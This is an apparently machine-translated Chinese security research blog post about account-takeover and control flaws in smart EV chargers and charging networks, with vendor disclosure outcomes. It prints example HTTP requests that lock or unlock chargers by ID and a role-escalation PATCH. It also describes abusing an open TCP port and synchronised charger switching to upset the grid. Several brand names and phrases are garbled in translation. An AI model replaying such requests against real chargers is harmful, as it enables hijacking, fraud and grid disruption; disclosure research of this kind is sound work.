
在过去的18个月里,我们一直在调查智能电动汽车充电器的安全性。这些允许车主远程监控和管理其汽车充电器的充电状态、速度和时间等多种功能。我们购买了6个不同品牌的充电器,并审查了一些公共充电网络的安全性。
移动应用都通过 API 和基于云的平台与充电器通信,充电器通常连接到用户家庭 Wi-Fi 网络。
特尔:博士
我们发现漏洞,允许帐户劫持数百万智能EV充电器
几个EV充电器平台有API授权问题,允许帐户接管和所有充电器的远程控制
一个平台根本没有授权:知道一个简短的、可预测的设备 ID 允许对充电器进行完全远程控制
同一个充电器没有固件签名,允许远程推送新的 f/w,并允许用作主网络支点的充电器
一个公共充电平台暴露了一个未经授权的 GraphQL 端点,我们相信该端点也暴露了所有用户和充电器数据
一些 EV 充电器构建在树莓派计算模块上,可以轻松提取所有存储的数据,包括凭据和 Wi-Fi PSK
由于由于由于储备容量难以维持电网频率,电力需求出现较动,因此有可能同步打开和关闭所有充电器,从而有可能给电网带来稳定性问题
所有 API 和硬件漏洞都成功披露给相关供应商。所有 API 缺陷都得到了修复,尽管只有一家供应商在涉及一位值得信赖的记者后才做出回应并采取行动。
树莓派硬件问题仍然存在,但妥协的风险似乎很低,因为需要物理访问充电器。作为预防措施,可以断开充电器与家庭 W-Fi 的连接并更改 PSK。另一种选择可能是将充电器的面板粘在后部,尽管这似乎有点极端。
智能家用充电器
我们查看的 6 个不同流行品牌中有几个在 API 中存在帐户劫持漏洞。所有这些都获得了英国政府赠款的认证,包括在欧洲和美国流行的品牌。
我们查看了以下品牌:
- 项目EV/ATESS/申增增长
- 壁箱
- EV盒
- EO集线器和EO迷你专业版2
- 角色c
- 超伏
项目EV/ATESS/申增增长
项目EV充电器由ATESS制造,API和平台由申增·格劳特提供。
这些是迄今为止最不安全的充电器。我们可以劫持用户帐户并防止收费。

我们还可以远程将更新的软件("固件")推送至充电器。这使我们能够将充电点用作用户家庭网络的远程"后门",从那里我们可能会危及用户家中的更多设备。
项目EV API在第一个登录请求(即开机自检)上检查了正确的凭据:
/ocpp/user
然而,一个人实际上并不需要登录-它只是假设,所有参数传递给它后是正确的!
只要攻击者知道充电器的用户名或序列号,就可以访问和控制任何充电器。
序列号具有可预测的格式,很容易被强加,以便您可以列举所有充电器的存在。
示例请求:
锁定充电器,停止充电:
POST /ocpp/api/ HTTP/1.1
Content-Type: application/json;charset=UTF-8
Content-Length: 64
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Redmi 8A MIUI/V11.0.3.0.PCPMIXM)
Host: charge.growatt.com
Connection: close
Accept-Encoding: gzip, deflate
{"chargeId":"TTD0xxxxx","connectorId":1,"lan":1,"cmd":"lock"}
解锁充电器:
POST /ocpp/api/ HTTP/1.1
Content-Type: application/json;charset=UTF-8
Content-Length: 64
User-Agent: Dalvik/2.1.0 (Linux; U; Android 9; Redmi 8A MIUI/V11.0.3.0.PCPMIXM)
Host: charge.growatt.com
Connection: close
Accept-Encoding: gzip, deflate
{"chargeId":"TTD0xxxxx","connectorId":1,"lan":1,"cmd":"unlock"}
披露
项目 EV 没有响应我们最初披露的尝试,但在与 BBC 联系后,实施了强大的身份验证和授权,以及充电器的固件更新。Shenzen Growatt也是迄今为止最大的平台,它拥有大约 290 万台设备,所有这些设备都可以通过缺乏强大的身份验证和请求授权进行远程开发。
壁箱
壁箱有两个单独的不安全的直接对象引用在他们的API,允许帐户劫持。


他们还使用树莓派计算模块为他们的充电器。我们喜欢 Pi,但我们认为它不适合在公共设备中进行商业使用,因为要完全保护它免受存储数据的恢复是很困难的。
披露
我们向 Wallbox 披露了这些信息,后者在几天内修复了 API 问题。他们还为我们提供了他们计划的新硬件平台,但希望签署一个保密协议。我们拒绝了,因为我们更感兴趣的是,他们是否会免费更换现有的用户充电器与新的充电器。
EV盒
EVBox是所有充电器制造商中反应最灵敏的。允许帐户劫持的 API 漏洞在大约 24 小时内得到确认和修复,这是一个非常令人印象深刻的响应。
在 EVBox API 上,可以更改您的用户角色。这可以通过在请求配置文件时观察响应并查看个人资料请求的更新来实现。之后,尝试并验证了缺失的值是否有效:
响应:
HTTP/1.1 200 OK
Date: Fri, 30 Jul 2021 12:30:48 GMT
Content-Type: application/json; charset=UTF-8
Connection: close
CF-Ray: 676e99a8ff6553cd-LHR
Access-Control-Allow-Origin: https://evbox.everon.io
Cache-Control: no-cache, no-store
Expires: 0
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
Via: 1.1 google
CF-Cache-Status: DYNAMIC
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, X-Access-Token, tenantId, tenant, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS, PATCH
Access-Control-Max-Age: 180
Expect-CT: max-age=604800, report-uri=https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Vary: Accept-Encoding
Server: cloudflare
Content-Length: 396
{"firstName":"egw1","lastName":"egw1","email":egw1@mailinator.com,"language":"en-GB","status":"ACTIVE","roles":["ACCOUNT_ADMIN","ACCOUNT_OWNER"],"id":"bd4358ca-838c-4119-9f7a-99a2a747770b","oktaUserId":"00uascl0k2XXZXT8w416","lastLogin":"2021-07-30T12:30:15Z","createdAt":"2020-12-03T09:15:04Z","invitedBy":"","blocked":false,"activated":true,"accountId":"8663791e-6ae9-44a2-934c-6ca737f619b8"}
将角色数组添加到任何接受的角色名称(在添加随机值时从错误消息中获取)将使权限升级成为可能。在添加租户管理员角色时,用户对租户及其控制的所有充电器拥有完全的管理权。
PATCH /api/users/profiles/00uascl0k2XXZXT8w416 HTTP/1.1
Host: api.everon.io
Accept: application/json, text/plain, */*
{"profile":{"firstName":"egw",
"roles":["ADMIN","ACCOUNT_OWNER", "tenantadmin"]
}}
在平台上给予管理员特权:

EO集线器和EO迷你专业版2
EO是英国第一个使用 EO Hub 进行控制的智能充电器市场,但在安全性方面却处于"先动者劣势"。充电器"智能"也建立在树莓派,这是很难安全,鉴于引导加载器安全问题。EO 对我们的披露做出了快速反应,并将整个系统重新构建到一个新的、更安全的平台上。这项工作包括在这里。
然而,我们惊讶地发现,EO迷你专业2再次使用树莓派。我们有一个早期的EO迷你专业版,它不使用Pi。这似乎是一个倒退。

左边的充电器是早期的EO迷你专业版,由我们拥有。与树莓派相比,Zentri MCU 清晰可见,它提供了更好的硬件安全性。但是,右侧是最近从 EO 安装指南中拍摄的较新的 EO 迷你 Pro 2 的内部图像。它显然已经后退了一步,并使用Pi。我们不知道EO为什么这样做,因为他们以前曾努力重新平台。
一路上,我们也注意到我们的EO迷你专业版服务很脆弱。TCP 端口 2000 没有身份验证,可以读取和编写配置到它,可能阻止它通信,并暴露敏感数据,如 PSK。例如,我们在此处更改了 DNS:

然而,影响是有所减轻的,因为人们首先必须破解业主Wi-Fi密钥。
角色c
在上述内容中,Rolec是最安全的,特别是因为它使用 SIM 卡和移动数据传输数据。这使得交通拦截比使用 Wi-Fi 连接要困难一些,尽管并非不可能。
超伏
Hypervolt还使用了树莓派,因此提供了最小的硬件安全性。

智能公共充电器
鉴于需要使用的不同运营商和应用程序的数量,公共收费可能有点痛苦。充电网络之间的一些相互操作正在通过开放充电点接口 (OCPI) 出现。这意味着在一个充电提供商系统上拥有帐户的用户可以使用其他提供商系统进行交叉计费,有点像智能手机的国际漫游。
我们在Chargepoint发现了一个暴露的GraphQL端点,这是一家大型美国充电基础设施提供商,它与美国、欧洲和其他地方的大约 15 万台充电器签订过自己的"漫游"协议。终点允许反省,从而允许查看其 API 的详细信息。

我们没有进一步戳到这一点,因为有立即的风险,终点将倾销其所有敏感内容给我们,以回应进一步的查询。
但是,我们认为,可以将用户帐户附加到另一个帐户,并免费获得其他人的一毛钱,例如
披露
收费点反应特别灵敏,并很快承认了这个问题。大约24小时内就修好了。酷供应商!
事后看来,由于Chardpoint有一个很好的漏洞披露程序,并心甘情愿地与研究人员接触,我们本可以在不引起问题的情况下进一步调查。不过,这只有在我们开始披露程序后才显现出来。
公共充电器的更广泛问题
OCPI 的互操作性增强会产生一些令人生畏的安全问题:这意味着一个平台中的漏洞可能会在另一个平台中造成漏洞。充电公司拥有 OCPI 连接的任何一个平台都可能暴露自己的充电器和安全性。
后果包括:
- 通过帐户折中窃取电力,向合法用户收取费用
- 通过发送消息停止充电器来阻止合法用户充电
- 通过在许多充电器上同步停止、启动和停止充电来造成电网稳定性问题
破坏电网稳定?
快速汽车充电器消耗大量的电力。格雷特纳格林的一个车站有四个,如果同时使用的话,消耗1.4兆瓦。这和 1000 户房子差不多!
由于可再生能源已经从煤炭手中接管,我们的电网对电力消耗的大幅波动的适应能力就更弱了:即"世界杯比赛期间,每个人都在半场时泡杯茶"的问题。
通过同时打开、关闭、关闭、关闭大量功能强大的充电器,可以破坏电网的稳定。虽然我们的发电机为维护稳定作出了巨大努力,但这些强大的充电器和安全缺陷相结合,无意中创造了一种网络武器,其他人可能用它来造成广泛的停电。
结论
显然,智能EV充电器空间明显缺乏安全保证。随着家庭配备充电器,公共充电基础设施提供越来越强大的充电功能,EV 的"淘金热"正在持续。
基本 API 安全性缺失,某些基本安全硬件选择也缺失。制造商已经使用户面临欺诈和/或阻止其汽车充电的风险。他们还无意中为其他人创造了一种破坏我们电网稳定的方法。
希望这项研究将鼓励充电器制造商和监管机构确保安全受到更严肃的重视。